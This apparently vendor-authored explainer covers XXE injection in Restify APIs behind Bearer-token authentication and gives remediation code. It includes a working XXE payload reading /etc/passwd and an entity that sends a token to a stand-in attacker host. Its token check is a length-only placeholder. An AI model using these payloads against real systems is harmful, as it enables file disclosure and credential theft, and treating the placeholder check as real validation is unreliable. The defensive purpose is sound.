HIGH xml external entitiesrestifybearer tokens

Xml External Entities in Restify with Bearer Tokens

Xml External Entities in Restify with Bearer Tokens — how this specific combination creates or exposes the vulnerability

XML External Entity (XXE) injection occurs when an XML parser processes external entity references in a way that can disclose local files, trigger SSRF, or lead to server-side request forgery. Restify is a Node.js framework for building HTTP servers, and when it parses XML payloads—often in routes that accept SOAP or legacy integrations—misconfigured XML parsers can make the application vulnerable to XXE.

Bearer tokens are commonly used for HTTP API authentication, passed in the Authorization header as Authorization: Bearer <token>. In a Restify service, authentication middleware typically validates the token before routing the request to a handler. If the token is valid but the downstream XML parser is permissive, an attacker can embed external entity declarations in the XML body that cause the parser to read arbitrary files or make internal HTTP requests. Because the token proves identity, the malicious XML may execute with the privileges of the authenticated user, increasing the impact of data exposure or SSRF.

The combination is risky because the token itself does not protect the XML parser; it only secures the route at the HTTP layer. For example, an authenticated POST to /import with a Bearer token and a body like the following can exploit a vulnerable parser:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

If the Restify server uses a library such as xml2js or xmldom without disabling external entities, the file path may be read and returned indirectly (for instance, in error messages or logs). In more advanced scenarios, the entity can point to an internal metadata service, leading to SSRF. Because the request carries a valid Bearer token, WAF or network ACL rules that rely on IP reputation may be bypassed, and the attack appears as legitimate traffic.

An attacker might also chain XXE with Bearer token leakage. If the XML parser returns detailed errors, a malicious entity such as &file SYSTEM "https://attacker.com/?c=token" could cause the server to exfiltrate the token value via HTTP, effectively stealing credentials that were intended to be protected by TLS and scope checks. This pattern highlights why API security checks—such as those in middleBrick that test authentication, input validation, and data exposure in parallel—are valuable for detecting both token misuse and XML handling flaws.

To contextualize risk, consider common CVE patterns involving Restify and XML parsers: misconfigured parsers can lead to information disclosure (similar to CVEs affecting XML libraries) and SSRF (similar to network-based injection issues). MiddleBrick scans include checks for input validation and data exposure that can surface indicators of such misconfigurations, while its inventory management and OpenAPI/Swagger analysis help identify endpoints that accept XML and may lack proper entity disabling.

Bearer Tokens-Specific Remediation in Restify — concrete code fixes

Remediation focuses on ensuring that Bearer token validation remains intact while XML parsing is hardened. The token should continue to protect the route, but the handler must not pass untrusted XML to a parser that resolves external entities. Below are concrete Restify examples.

1. Secure XML parsing configuration

Use a parser that explicitly disables external entities. For xmldom, avoid the default constructor and instead configure the parser securely:

const { DOMParser } = require('@xmldom/xmldom');
const options = {
  entities: {},
  externalEntities: false,
  urlAdapter: null // prevent network resolution
};

function safeParseXml(xmlString) {
  const parser = new DOMParser(options);
  return parser.parseFromString(xmlString, 'text/xml');
}

// In a Restify handler
restify.plugins.bodyParser({ mapParams: false });
server.post('/import', (req, res, next) => {
  const auth = req.headers.authorization;
  if (!auth || !auth.startsWith('Bearer ')) {
    return res.send(401, { error: 'Unauthorized' });
  }
  const token = auth.split(' ')[1];
  // Validate token with your auth provider (pseudo)
  if (!isValidToken(token)) {
    return res.send(403, { error: 'Forbidden' });
  }
  try {
    const doc = safeParseXml(req.body);
    // Process doc safely
    res.send(200, { ok: true });
  } catch (e) {
    res.send(400, { error: 'Invalid XML' });
  }
  return next();
});

The key is to pass parser options that disable external entities and avoid network fetches. Do not rely on the Authorization header alone to prevent XXE; the parser must be configured securely.

2. Prefer JSON and strict content-type checks

If possible, avoid XML entirely. Restify routes can enforce strict content types and accept only JSON:

server.post('/import', restify.plugins.bodyParser({ mapParams: false, json: true }), (req, res, next) => {
  const auth = req.headers.authorization;
  if (!auth || !auth.startsWith('Bearer ')) {
    return res.send(401, { error: 'Unauthorized' });
  }
  const token = auth.split(' ')[1];
  if (!isValidToken(token)) {
    return res.send(403, { error: 'Forbidden' });
  }
  // req.body is already a plain object
  processData(req.body);
  res.send(200, { ok: true });
  return next();
});

function isValidToken(token) {
  // Replace with real validation, e.g., jwt.verify or introspection
  return typeof token === 'string' && token.length > 10;
}

This approach removes the XML parsing risk while still validating Bearer tokens. If XML must be supported, ensure that the parser settings explicitly disable DTDs and external references.

3. Middleware approach with token introspection and XML hardening

Centralize security by adding a middleware layer that validates tokens and configures safe XML handling for specific routes:

function authAndSecureXml(req, res, next) {
  const auth = req.headers.authorization;
  if (!auth || !auth.startsWith('Bearer ')) {
    return res.send(401, { error: 'Unauthorized' });
  }
  const token = auth.split(' ')[1];
  if (!isValidToken(token)) {
    return res.send(403, { error: 'Forbidden' });
  }
  // Attach validated identity for downstream use
  req.user = { token };
  // Ensure downstream handlers use safe parsing
  next();
}

server.pre(authAndSecureXml);

// Only apply to routes that need XML
server.post('/xml-endpoint', (req, res, next) => {
  try {
    const doc = safeParseXml(req.body.toString());
    // Handle doc...
    res.send(200, { ok: true });
  } catch (e) {
    res.send(400, { error: 'Invalid XML' });
  }
  return next();
});

By combining token validation with secure parsing defaults, you reduce the attack surface. Note that middleBrick’s authentication and input validation checks can help verify that endpoints correctly reject malformed XML and enforce authorization before processing.

Frequently Asked Questions

Does a valid Bearer token prevent XXE in Restify?
No. A valid Bearer token authenticates the request but does not affect XML parser behavior. If the parser resolves external entities, an authenticated attacker can still trigger XXE. Secure the parser independently by disabling external entities and avoiding network-dependent configurations.
Can middleBrick detect XXE with Bearer tokens?
middleBrick tests unauthenticated attack surfaces and, where relevant, authenticated scans using provided credentials. Its input validation and data exposure checks can flag indicators of misconfigured XML handling, but it does not fix the issue. Use its findings to harden parser settings and validate token usage in handlers.